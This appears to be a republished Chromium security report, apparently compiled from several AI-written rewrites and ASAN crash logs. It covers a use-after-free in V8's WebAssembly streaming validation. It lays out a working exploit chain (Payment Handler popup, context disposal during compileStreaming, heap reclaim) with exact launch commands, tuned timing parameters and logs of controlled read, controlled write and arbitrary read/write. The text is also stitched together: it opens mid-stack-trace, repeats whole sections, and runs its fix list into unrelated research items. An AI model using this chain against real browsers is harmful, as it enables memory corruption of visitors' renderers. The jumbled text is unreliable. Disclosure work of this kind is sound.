    #5 0x7f8acab4bc6e in v8::internal::wasm::ModuleDecoderImpl::consume_base_type_definition(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:577:34
    #6 0x7f8acab4b3a2 in v8::internal::wasm::ModuleDecoderImpl::consume_described_type(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:658:14
    #7 0x7f8acab4aa3f in v8::internal::wasm::ModuleDecoderImpl::consume_describing_type(unsigned long, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:689:14
    #8 0x7f8acab4a298 in v8::internal::wasm::ModuleDecoderImpl::consume_shared_type(unsigned long) v8/src/wasm/module-decoder-impl.h:715:14
    #9 0x7f8acab4875b in v8::internal::wasm::ModuleDecoderImpl::consume_subtype_definition(unsigned long) v8/src/wasm/module-decoder-impl.h:749:14
    #10 0x7f8acab39d85 in v8::internal::wasm::ModuleDecoderImpl::DecodeTypeSection() v8/src/wasm/module-decoder-impl.h:780:31
    #11 0x7f8acab2cf89 in v8::internal::wasm::ModuleDecoderImpl::DecodeSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsigned int) v8/src/wasm/module-decoder-impl.h:437:9
    #12 0x7f8acab12fb9 in v8::internal::wasm::AsyncStreamingProcessor::ProcessSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsigned int) v8/src/wasm/module-compiler.cc:3159:12
    #13 0x7f8acabaa938 in v8::internal::wasm::AsyncStreamingDecoder::DecodeSectionPayload::Next(v8::internal::wasm::AsyncStreamingDecoder*) v8/src/wasm/streaming-decoder.cc:196:22
    #14 0x7f8acaba752d in v8::internal::wasm::AsyncStreamingDecoder::OnBytesReceived(v8::base::Vector<unsigned char const>) v8/src/wasm/streaming-decoder.cc:328:26
    #15 0x7f8acac5de28 in v8::WasmStreaming::OnBytesReceived(unsigned char const*, unsigned long) v8/src/wasm/wasm-js.cc:77:25
    #16 0x7f8ad7c581fa in blink::(anonymous namespace)::FetchDataLoaderForWasmStreaming::OnStateChange() v8_wasm_response_extensions.cc
    #17 0x7f8ad9071e97 in blink::ReadableStreamBytesConsumer::OnRead(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x403be97) (BuildId: 86034637d8af1588)
    #18 0x7f8ad9073857 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::ReadableStreamBytesConsumer::*&&)(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*), cppgc::internal::BasicPersistent<blink::ReadableStreamBytesConsumer, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&, cppgc::internal::BasicPersistent<blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&>, base::internal::BindState<true, true, false, void (blink::ReadableStreamBytesConsumer::*)(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*), cppgc::internal::BasicPersistent<blink::ReadableStreamBytesConsumer, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>, cppgc::internal::BasicPersistent<blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>>, void ()>::RunOnce(base::internal::BindStateBase*) readable_stream_bytes_consumer.cc
    #19 0x7f8ad0a47d08 in blink::scheduler::EventLoop::RunPendingMicrotask(void*) base/functional/callback.h:155:12
    #20 0x7f8ac9e95fa5 in v8::internal::Runtime_RunMicrotaskCallback(int, unsigned long*, v8::internal::Isolate*) v8/src/runtime/runtime-promise.cc:93:3
    #21 0x7b8a772804b5  (<unknown module>)
    #22 0x7b8a771ffef5  (<unknown module>)
    #23 0x7b8a771cb62a  (<unknown module>)
    #24 0x7f8ac8d01fa8 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:493:41
    #25 0x7f8ac8d03da9 in v8::internal::(anonymous namespace)::InvokeWithTryCatch(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:535:18
    #26 0x7f8ac8d041af in v8::internal::Execution::TryRunMicrotasks(v8::internal::Isolate*, v8::internal::MicrotaskQueue*) v8/src/execution/execution.cc:639:10
    #27 0x7f8ac8dabdf1 in v8::internal::MicrotaskQueue::RunMicrotasks(v8::internal::Isolate*) v8/src/execution/microtask-queue.cc:185:22
    #28 0x7f8ac8dab9b4 in v8::internal::MicrotaskQueue::PerformCheckpointInternal(v8::Isolate*) v8/src/execution/microtask-queue.cc:129:3
    #29 0x7f8ad7c3fc55 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x2c09c55) (BuildId: 86034637d8af1588)

Thread T13 (ThreadPoolForeg) created by T8 (ThreadPoolForeg) here:
    #0 0x55721b020e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f8b2e916f7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f8b2e882011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f8b2e862802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f8b2e86248e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
    #5 0x7f8b2e86c106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f8b2e88442a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
    #7 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #8 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #9 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #10 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp

Thread T8 (ThreadPoolForeg) created by T4 (ThreadPoolForeg) here:
    #0 0x55721b020e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f8b2e916f7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f8b2e882011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f8b2e862802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f8b2e86248e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
    #5 0x7f8b2e86c106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f8b2e88442a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
    #7 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #8 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #9 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #10 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp

Thread T4 (ThreadPoolForeg) created by T0 (chrome) here:
[0612/031508.488241:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0612/031508.488477:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
[0612/031508.510884:ERROR:third_party/crashpad/crashpad/util/process/process_memory_linux.cc:50] pread64: Input/output error (5)
Received signal 11 SEGV_ACCERR 7a2c43444545
Received signal 11 SEGV_ACCERR 7a2c43444545

The crash stack ties the bug to the attacker's input directly: ReadableStreamBytesConsumer::OnRead → FetchDataLoaderForWasmStreaming → WasmStreaming::OnBytesReceived → AsyncStreamingProcessor::ProcessSection (module-compiler.cc:3159) → ValidateFunctionsStreamingJob::Run, with the freed region allocated by WasmModuleSignatureStorage::Allocate during decode. The trailing Received signal 11 SEGV_ACCERR 7a2c43444545 is the forged store faulting at the chosen address (0x414243444546 after cage decoding; high bits match this run's heap base).

Arbitrary read/write

Combining the two, the same control yields a full read/modify/read over a victim BigUint64Array: the page leaks its address, aliases its length field, reads it, overwrites it, and reads it back, and the corruption is visible from JavaScript:

Text
RUN119_ADDROF_LEAK value=0x7a9c01077889
RUN120_ARW_OBJECT value=0x7a9c01077a89
RUN120_ARW_READ_BEFORE value=0x100000000
RUN120_ARW_WRITE value=0x800000000
RUN120_ARW_READ_AFTER value=0x800000000 byteLength=64 length=8
RUN120_ARW_CONTROL
RUN122_ARW_TYPED_ARRAY_SHOWCASE object=0x7a9c01077a89 field=0x7a9c01077aa9 before=0x100000000 write=0x800000000 after=0x800000000 byteLength=64 length=8

The alias re-read returns the value just written and the victim's JavaScript-visible byteLength changes from 8 to 64 — a corrupted length reflected in script-reachable state, which distinguishes genuine arbitrary read/write from an incidental crash. Full log: traces/controlled-read-and-arw/chrome.stderr.log.

What this proves

  • Controlled read — a load from an attacker-chosen address.
  • Controlled write — a store of an attacker-chosen value to an attacker-chosen address.
  • Arbitrary read/write — read + write of a victim object, reflected in JavaScript state.
  • All reachable from a web page; renderer memory corruption with no user interaction beyond visiting the page.
  • Not claimed: browser-process or operating-system compromise.

Suggested fix

Make the discard path match the safe abort/finish paths for validation-worker lifetime:

  • cancel or join validate_functions_job_handle_ before freeing ValidateFunctionsStreamingJobData;
  • ensure AsyncStreamingProcessor::~AsyncStreamingProcessor() cannot free validation state while any ValidateFunctionsStreamingJob::Run() can still dereference it;
  • treat shared ownership of validation data as defense in depth, not a replacement for cancellation;
  • keep fail-stop CHECKs, but do not rely on a release CHECK_NULL as the complete fix unless worker cancellation is also guaranteed.

Package contents

Text
01-wasm-streaming-validation-uaf-submission.md   this report
repro-steps.md                                   condensed run instructions
poc/serve_poc.py                                 Python static server
poc/index.html                                   Payment Handler registration + entry
poc/payment-handler-sw.js                        service worker that opens the exploit page
poc/payment-manifest.json                        Payment Handler manifest
poc/payment-icon.png                             manifest icon
poc/wasm-asan-controlled-crash-poc.html          exploit (UAF -> controlled read/write -> ARW)
traces/plain-uaf-crash/                          plain validation-worker UAF crash (full ASAN stderr + url + notes)
traces/controlled-read-and-arw/                  controlled-read + ARW + chosen-address crash (full ASAN stderr + url + notes)
traces/controlled-write/                         controlled-write run, Run() container-overflow + forged store (full ASAN stderr + url + notes)

Credit

Duc Nguyen of Calif.io in collaboration with OpenAI Codex Security

The original report as published on the Chromium issue tracker, by Duc Nguyen of Calif.io in collaboration with OpenAI Codex Security. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

This is a renderer-side memory-corruption bug in V8, the JavaScript and WebAssembly engine inside Chrome. The feature involved is WebAssembly streaming compilation, specifically WebAssembly.compileStreaming(), together with Wasm GC validation. When a page calls compileStreaming() on a Response, V8 decodes the module incrementally as bytes arrive and validates functions on worker threads from the thread pool. The validation worker reads module and validation state that is owned by the streaming processor.

The report is scoped to a memory-corruption primitive reachable from web content. It does not claim a sandbox escape or browser-process compromise.

Setup

The proof was developed and run against Chromium 149.0.7827.102 (stable), x64. Because stable builds are not published as official ASAN binaries, the researcher built the binary from the exact 149.0.7827.102 source (chromium commit [redacted]) with the ASAN configuration below.

Text
OS:        Debian GNU/Linux 12 (bookworm), x86_64
Kernel:    5.15.0-176-generic
glibc:     2.36
Chrome:    Chromium 149.0.7827.102, x64, AddressSanitizer build
GN config: is_asan = true, is_debug = false, target_cpu = "x64",
           v8_enable_sandbox = true, dcheck_always_on = false

The proof is served by a small Python static server and driven by query parameters. The exploit races a validation worker against context disposal, so it is timing-sensitive and may need re-running if the RUN12x markers do not appear; the parameters given are tuned for this build.

Finding it

Blink uses different V8 disposal semantics for top-level frames and dependent subframes. In LocalWindowProxy::DisposeContext, the call is:

C++
// third_party/blink/renderer/core/frame/local_window_proxy.cc
//   LocalWindowProxy::DisposeContext(...)
isolate->ContextDisposedNotification(!is_main_frame);

For a top-level popup, is_main_frame is true, so V8 receives dependant_context == false. That path deletes the active Wasm compile job:

C++
// v8/src/api/api.cc — v8::Isolate::ContextDisposedNotification(bool dependant_context)
if (!dependant_context) {
  if (!i_isolate->context().is_null()) {
    wasm::GetWasmEngine()->DeleteCompileJobsOnContext(
        i_isolate->native_context());
  }
}

Destroying the async compile job tells the streaming decoder that compilation was discarded:

C++
// v8/src/wasm/module-compiler.cc — AsyncCompileJob::~AsyncCompileJob()
if (stream_) stream_->NotifyCompilationDiscarded();

The lifetime that goes wrong is this: AsyncStreamingProcessor owns ValidateFunctionsStreamingJobData, the validation job handle, and the module/validation state the worker reads. ValidateFunctionsStreamingJob::Run() on the worker thread reads data_->GetUnit(), calls ValidateSingleFunction(module_, ...), and writes data_->UpdateDetectedFeatures(...).

The failing invariant is that a streaming Wasm validation job must not outlive the processor-owned validation data and module state its worker thread dereferences. The safe stream-finish and abort paths cancel or join validation work before freeing processor state. The top-level context-disposal discard path reaches processor teardown through NotifyCompilationDiscarded() without first proving the validation worker has stopped.

Exploitation

The bug needs a top-level page lifetime transition. A same-origin iframe does not hit the same compile-job deletion path, so subframe disposal is not equivalent.

To obtain a top-level window without depending on permissive popup settings, the proof uses Payment Handler delivery.

Step 1: register the Payment Handler and start the request

index.html registers payment-handler-sw.js and calls PaymentRequest.show().

Step 2: the service worker opens the exploit page

The service worker opens wasm-asan-controlled-crash-poc.html in a top-level window.

Step 3: open the victim popup

That page opens a same-origin about:blank victim popup.

Step 4: start streaming compilation over a controlled stream

The victim starts WebAssembly.compileStreaming() over a parent-controlled Response. The parent keeps validation busy with an attacker-controlled ReadableStream.

Step 5: close the victim during validation

The parent closes the victim while code-section validation is still active. Closing a top-level page tears down the async compile job and its streaming processor, but the validation worker keeps running and dereferences the now-freed validation and module state.

Step 6: reclaim the freed state

Replacement modules reclaim the freed validation state, giving the page control over it. The proof escalates that dangling access into a controlled type confusion.

Running the proof

Start the server:

Bash
cd VRP-submission/bug1-wasm-streaming-uaf/poc
EXPLOIT_SERVER_PORT=18096 python3 serve_poc.py

Then launch the ASAN build with the shared options and flags:

Bash
CHROME_ASAN=/path/to/149.0.7827.102/asan/chrome
ASAN_OPTIONS='detect_odr_violation=0:detect_leaks=0:symbolize=1:abort_on_error=1:quarantine_size_mb=0:thread_local_quarantine_size_kb=0'
FLAGS="--headless=new --no-sandbox --disable-crashpad --disable-breakpad --disable-crash-reporter --enable-logging=stderr"
BASE="http://[redacted]:18096/index.html?proof_id=vrp-bug1&payment_hold_ms=90000&exploit_path=%2Fwasm-asan-controlled-crash-poc.html&auto_start=1&auto_start_delay_ms=0&stream_reclaimer_rounds=18&stream_reclaimer_interval=50&victim_target_nops=5000000&replacement_pretarget_nops=5000000&stream_reclaimer_close_delay=800&clear_timers=1&close_on_finish=1&finish_delay=45000&global_finish_delay=90000"

Controlled read

The controlled read makes V8 load 8 bytes from an attacker-chosen address, 0x414243444546:

Bash
# Controlled read  (load from attacker-chosen address 0x414243444546)
rm -rf /tmp/p-r; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-r \
  "$BASE&asan_crash=forged_read64&asan_crash_value=0x414243444546"

The page logs the armed primitive, then the load faults:

Text
[redacted] kind=forged_read64 index=1 byte_offset=8 value=0x414243444546 view_byteLength=64 view_length=8 buffer_byteLength=8
[redacted] kind=forged_read64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3241928==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7caa9e48c3f8 at pc 0x7ffabf3c3271 bp 0x7bfa7d27a6c0 sp 0x7bfa7d27a6b8
READ of size 8 at 0x7caa9e48c3f8 thread T8 (ThreadPoolForeg)
[0612/010516.751271:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0612/010516.751458:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
Received signal 11 SEGV_ACCERR 7a9c43444545
Received signal 11 SEGV_ACCERR 7a9c43444545

The fault value 7a9c43444545 is the chosen 0x414243444546 after V8 pointer-tag/cage decoding. Its high bits match this run's leaked heap base (RUN119_ADDROF_LEAK value=0x7a9c01077889), so the read address is attacker-derived, not random.

Controlled write

The controlled write makes V8 store an attacker-chosen value to an attacker-chosen address:

Bash
# Controlled write (store chosen value 0x5152535455565758 to chosen address 0x414243444546)
rm -rf /tmp/p-w; ASAN_OPTIONS="$ASAN_OPTIONS" "$CHROME_ASAN" $FLAGS --user-data-dir=/tmp/p-w \
  "$BASE&asan_crash=forged_write64&asan_crash_value=0x414243444546&asan_crash_write_value=0x5152535455565758"

This run captured the validation worker reading freed signature storage from inside the attacker-driven streaming decode, then the forged store faulting at the chosen address:

Text
[redacted] kind=forged_write64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3481237==ERROR: AddressSanitizer: container-overflow on address 0x7c3aa9c46790 at pc 0x7f8acab1c1e8 bp 0x7b89994761b0 sp 0x7b89994761a8
READ of size 8 at 0x7c3aa9c46790 thread T13 (ThreadPoolForeg)
    #0 0x7f8acab1c1e7 in v8::internal::wasm::ValidateFunctionsStreamingJob::Run(v8::JobDelegate*) gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10
    #1 0x7f8ac55515f3 in base::internal::Invoker<base::internal::FunctorTraits<gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0 const&, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>> const&>, base::internal::BindState<false, false, false, gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>>, void (base::JobDelegate*)>::Run(base::internal::BindStateBase*, base::JobDelegate*) gin/v8_platform.cc:301:23
    #2 0x7f8b2e83e88f in base::RepeatingCallback<void (base::JobDelegate*)>::Run(base::JobDelegate*) const & base/functional/callback.h:346:12
    #3 0x7f8b2e83ff7f in base::internal::Invoker<base::internal::FunctorTraits<base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0 const&, base::internal::JobTaskSource*>, base::internal::BindState<false, false, false, base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0, base::internal::UnretainedWrapper<base::internal::JobTaskSource, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::Run(base::internal::BindStateBase*) base/task/thread_pool/job_task_source.cc:114:32
    #4 0x7f8b2e7a0da9 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #5 0x7f8b2e8604eb in base::internal::TaskTracker::RunTaskImpl(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/common/task_annotator.h:112:5
    #6 0x7f8b2e860716 in base::internal::TaskTracker::RunSkipOnShutdown(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/thread_pool/task_tracker.cc:675:3
    #7 0x7f8b2e85eccf in base::internal::TaskTracker::RunTask(base::internal::Task, base::internal::TaskSource*, base::TaskTraits const&, base::ThreadType) base/task/thread_pool/task_tracker.cc:705:7
    #8 0x7f8b2e85de8b in base::internal::TaskTracker::RunAndPopNextTask(base::internal::RegisteredTaskSource) base/task/thread_pool/task_tracker.cc:393:5
    #9 0x7f8b2e8845e3 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:473:36
    #10 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #11 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #12 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #13 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp

0x7c3aa9c46790 is located 80 bytes inside of 112-byte region [0x7c3aa9c46740,0x7c3aa9c467b0)
allocated by thread T0 (chrome) here:
    #0 0x55721b07663d in operator new(unsigned long) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x679563d) (BuildId: b2222a0c4e545691)
    #1 0x7f8ac8ae228f in std::__Cr::vector<unsigned char, std::__Cr::allocator<unsigned char>>::reserve(unsigned long) gen/third_party/libc++/src/include/__new/allocate.h:42:28
    #2 0x7f8acab4e533 in v8::internal::wasm::WasmModuleSignatureStorage::AllocateMoreStorage(unsigned long) v8/src/wasm/wasm-module.h:749:17
    #3 0x7f8acab4e2ff in v8::internal::wasm::WasmModuleSignatureStorage::Allocate(unsigned long, unsigned long) v8/src/wasm/wasm-module.h:710:7
    #4 0x7f8acab4c9c4 in v8::internal::wasm::ModuleDecoderImpl::consume_sig() v8/src/codegen/signature.h:42:25
    #5 0x7f8acab4bc6e in v8::internal::wasm::ModuleDecoderImpl::consume_base_type_definition(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:577:34
    #6 0x7f8acab4b3a2 in v8::internal::wasm::ModuleDecoderImpl::consume_described_type(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:658:14
    #7 0x7f8acab4aa3f in v8::internal::wasm::ModuleDecoderImpl::consume_describing_type(unsigned long, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:689:14
    #8 0x7f8acab4a298 in v8::internal::wasm::ModuleDecoderImpl::consume_shared_type(unsigned long) v8/src/wasm/module-decoder-impl.h:715:14
    #9 0x7f8acab4875b in v8::internal::wasm::ModuleDecoderImpl::consume_subtype_definition(unsigned long) v8/src/wasm/module-decoder-impl.h:749:14
    #10 0x7f8acab39d85 in v8::internal::wasm::ModuleDecoderImpl::DecodeTypeSection() v8/src/wasm/module-decoder-impl.h:780:31
    #11 0x7f8acab2cf89 in v8::internal::wasm::ModuleDecoderImpl::DecodeSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsigned int) v8/src/wasm/module-decoder-impl.h:437:9
    #12 0x7f8acab12fb9 in v8::internal::wasm::AsyncStreamingProcessor::ProcessSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsign

The crash stack ties the bug to the attacker's input directly: ReadableStreamBytesConsumer::OnRead → FetchDataLoaderForWasmStreaming → WasmStreaming::OnBytesReceived → AsyncStreamingProcessor::ProcessSection (module-compiler.cc:3159) → ValidateFunctionsStreamingJob::Run, with the freed region allocated by WasmModuleSignatureStorage::Allocate during decode. The trailing Received signal 11 SEGV_ACCERR 7a2c43444545 is the forged store faulting at the chosen address (0x414243444546 after cage decoding; high bits match this run's heap base).

Arbitrary read/write

Combining the two, the same control yields a full read/modify/read over a victim BigUint64Array: the page leaks its address, aliases its length field, reads it, overwrites it, and reads it back, and the corruption is visible from JavaScript:

Text
RUN119_ADDROF_LEAK value=0x7a9c01077889
RUN120_ARW_OBJECT value=0x7a9c01077a89
RUN120_ARW_READ_BEFORE value=0x100000000
RUN120_ARW_WRITE value=0x800000000
RUN120_ARW_READ_AFTER value=0x800000000 byteLength=64 length=8
RUN120_ARW_CONTROL
RUN122_ARW_TYPED_ARRAY_SHOWCASE object=0x7a9c01077a89 field=0x7a9c01077aa9 before=0x100000000 write=0x800000000 after=0x800000000 byteLength=64 length=8

The alias re-read returns the value just written and the victim's JavaScript-visible byteLength changes from 8 to 64, a corrupted length reflected in script-reachable state. That distinguishes genuine arbitrary read/write from an incidental crash.

The plain UAF crash

The base case, without the forged primitives, is the validation worker crashing while dereferencing its freed job state. Frame #0 on a thread-pool worker is the validation worker; the freed ValidateFunctionsStreamingJobData was reallocated and the worker reads through the stale pointer. The ASAN report shows a heap-buffer-overflow in ValidateFunctionsStreamingJob::GetMaxConcurrency, with the read landing 120 bytes after a 112-byte region.

Root cause

The mistake is a lifetime mismatch between the validation worker and the processor-owned state it reads. The top-level context-disposal discard path frees the async compile job and its streaming processor through NotifyCompilationDiscarded() without cancelling or joining the validation worker first. The safe stream-finish and abort paths do cancel or join validation work before freeing processor state, so the invariant holds there but not on this path.

Only a top-level page lifetime transition triggers the discard.

Impact

The proof demonstrates, on the ASAN build, a graduated set of memory-corruption primitives reachable from a web page:

  • Controlled read: a load from an attacker-chosen address.
  • Controlled write: a store of an attacker-chosen value to an attacker-chosen address.
  • Arbitrary read/write: read and write of a victim object, reflected in JavaScript state.

All are reachable from a web page, with no user interaction beyond visiting the page. The report does not claim a sandbox escape, browser-process compromise or operating-system compromise. The exploit is timing-sensitive because it races a validation worker against context disposal.

Fix

The report suggests making the discard path match the safe abort and finish paths for validation-worker lifetime:

  • cancel or join validate_functions_job_handle_ before freeing ValidateFunctionsStreamingJobData;

  • ensure AsyncStreamingProcessor::~AsyncStreamingProcessor() cannot free validation state while any ValidateFunctionsStreamingJob::Run() can still dereference it;

  • treat shared ownership of validation data as defence in depth, not a replacement for cancellation;

  • keep fail-stop CHECKs, but do not rely on a release CHECK_NULL as the complete fix unless worker cancellation is also guaranteed.

  • Other top-level disposal paths. Any code path that tears down an isolate's native context while background work is still running is a candidate. A positive result is a worker thread faulting on state freed by the disposal path, with the freed region reallocated by attacker-controlled input.

  • Other streaming consumers. Features that feed bytes into a streaming decoder from a ReadableStream (streaming compilation, streaming parsing, streaming decoders in general) may share the same ownership pattern. A positive result is a crash stack that runs from the stream consumer through the decoder into a worker that reads freed state.

  • Subframe versus top-level comparison. Confirm which disposal paths call ContextDisposedNotification with dependant_context == false. A positive result is a top-level-only crash that does not reproduce in a same-origin iframe.

  • Reclaim strategies. Vary the replacement modules and timing parameters (stream_reclaimer_rounds, stream_reclaimer_interval, stream_reclaimer_close_delay) to see whether freed validation state can be reliably reclaimed. A positive result is a stable RUN12x marker sequence followed by a controlled fault at an attacker-chosen address.

  • Length-field aliasing. On any target where a typed array's length field can be reached through a corrupted pointer, check whether the JavaScript-visible byteLength changes after a write. A positive result is a byteLength that reflects the written value, as in the RUN122_ARW_TYPED_ARRAY_SHOWCASE line.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 25 min read.

What happened, in plain words

A security researcher found a way for an ordinary web page to make Chrome's JavaScript engine, V8, use a piece of memory after it had already been given back to the system. That kind of mistake is called a use-after-free. In this case the page could then read from and write to memory addresses of its own choosing, and it could change the length of a data object that JavaScript can see. The researcher demonstrated this on a special instrumented build of Chrome and reported it through Google's Chrome Vulnerability Reward Program. The report is scoped to the part of Chrome that renders pages (the renderer); it does not claim to break out of Chrome's security sandbox or to take over the whole browser process.

Before going further, a few words that come up constantly below.

  • V8 is the program inside Chrome that runs JavaScript, the language of web pages, and WebAssembly, a faster compiled format that pages can also run. Think of V8 as the kitchen where a restaurant's recipes are actually cooked.
  • WebAssembly (often shortened to Wasm) is a binary format for code that a page can download and run. It is not written by hand; it is produced by compilers from languages such as C, C++ or Rust.
  • Streaming compilation means V8 starts decoding and checking a WebAssembly file while the bytes are still arriving, instead of waiting for the whole file. It is like starting to read a book chapter as the pages come off the printer, rather than waiting for the binding.
  • A worker thread is a second line of work inside the same program. Chrome uses a pool of them so that heavy checking can happen in the background while the page stays responsive.
  • A use-after-free is what happens when a program keeps a note of where some data lives, the data is thrown away, and the program later follows the old note anyway. The memory may now hold something else entirely, so the program reads or writes the wrong thing.
